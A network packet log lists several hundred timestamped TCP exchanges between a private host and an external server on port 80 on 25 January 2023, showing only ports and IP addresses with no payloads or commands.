Jan 25, 2023 09:43:38.932982922 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933002949 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933027983 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933073044 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933116913 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933120966 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933166027 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933209896 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933218002 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933255911 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933262110 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933300972 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933352947 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933357954 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933435917 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933481932 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933495998 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933530092 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933573961 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933619022 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933619976 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933665037 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933696985 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933711052 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933757067 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933800936 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933800936 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933849096 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933891058 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933893919 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933937073 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.933939934 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.933984995 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934027910 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.934083939 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934133053 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934176922 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934178114 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.934225082 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934271097 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934317112 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.934318066 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934364080 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934408903 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934452057 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.934461117 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.934588909 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934634924 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934680939 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934701920 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.934827089 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934875965 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934880018 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.934923887 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934973001 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.934987068 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.935019970 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935065031 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.935066938 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935167074 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935210943 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935216904 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.935255051 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935307026 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.935362101 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935409069 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935455084 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935508013 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935512066 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.935559034 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.935606956 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935652971 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935698986 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935708046 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.935745001 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935796976 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.935841084 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935885906 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935929060 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.935954094 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.935975075 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936017990 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936022997 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.936101913 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936147928 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936161041 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.936192036 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936233044 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.936235905 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936336994 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936383963 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936388016 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.936430931 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936475992 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.936476946 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936522961 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936568975 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936585903 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.936669111 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936717033 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936718941 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.936764956 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936810970 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936856031 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.936856985 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936904907 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936949015 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.936952114 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.936991930 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.937000036 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937047005 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937088013 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.937093973 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937143087 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937186956 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.937190056 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937243938 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937292099 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937333107 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.937340975 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937423944 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937439919 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.937473059 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937520027 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937526941 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.937612057 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937660933 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.937660933 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.944173098 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964133024 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964207888 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964252949 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964288950 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964448929 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964493990 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964546919 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964589119 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964589119 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964633942 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964677095 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964680910 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964720011 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964723110 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964766979 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964799881 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964811087 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964837074 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964855909 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964857101 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964900970 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964942932 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.964943886 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.964988947 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965032101 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965033054 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965073109 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965076923 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965121031 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965163946 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965163946 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965208054 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965250015 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965251923 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965291977 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965302944 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965378046 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965389013 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965430975 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965431929 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965472937 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965473890 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965513945 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965516090 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965555906 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965558052 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965599060 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965639114 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965640068 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965681076 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965722084 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965723038 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965761900 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.965764046 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965806007 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965847969 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.965857983 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.967434883 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.970444918 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.970510006 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.970567942 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.970617056 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.970618963 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.970659971 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.970663071 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.970716000 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.970751047 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.970848083 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.970895052 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.970921040 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.970992088 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971036911 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.971060991 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971106052 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.971133947 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971203089 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971245050 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.971267939 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971338987 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971381903 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.971402884 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971470118 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971513033 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.971539021 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971606016 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971652031 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.971673965 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971714973 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.971743107 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971812010 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971873045 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.971884966 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971954107 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.971997023 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972004890 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972045898 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972049952 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972095966 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972138882 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972141981 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972187042 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972229004 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972230911 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972270966 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972275972 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972322941 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972363949 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972368002 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972414017 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972455978 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972460032 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972506046 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972548008 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972549915 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972590923 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972595930 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972640991 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972686052 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972690105 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972731113 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972774982 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972774982 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972816944 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972822905 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972870111 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972913980 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.972914934 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.972959995 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973004103 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973005056 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973108053 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973108053 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973156929 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973202944 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973217010 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973249912 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973294020 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973294973 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973341942 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973387957 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973434925 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973505974 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973505974 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973505974 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973606110 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973653078 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973664999 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973711014 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973756075 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973759890 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973802090 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973846912 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973850965 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973892927 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973893881 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973937988 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.973948956 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.973985910 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974031925 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974040031 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.974077940 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974123001 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974124908 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.974165916 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.974169016 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974214077 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974258900 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974261045 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.974303961 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974349976 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.974351883 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974395990 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.974399090 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974443913 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974488974 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974489927 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.974535942 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.974581957 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.991988897 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992039919 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992085934 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.992099047 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992140055 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992155075 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.992177963 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992217064 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992223978 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.992255926 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992259979 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.992294073 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992335081 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992337942 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.992374897 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992414951 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992418051 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.992455006 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992494106 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992533922 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992573023 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992598057 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.992613077 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992636919 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.992862940 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.992937088 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.992968082 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.993009090 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.993048906 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.993089914 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.993092060 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.993132114 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.993170977 CET	80	49735	109.206.243.168	192.168.2.3
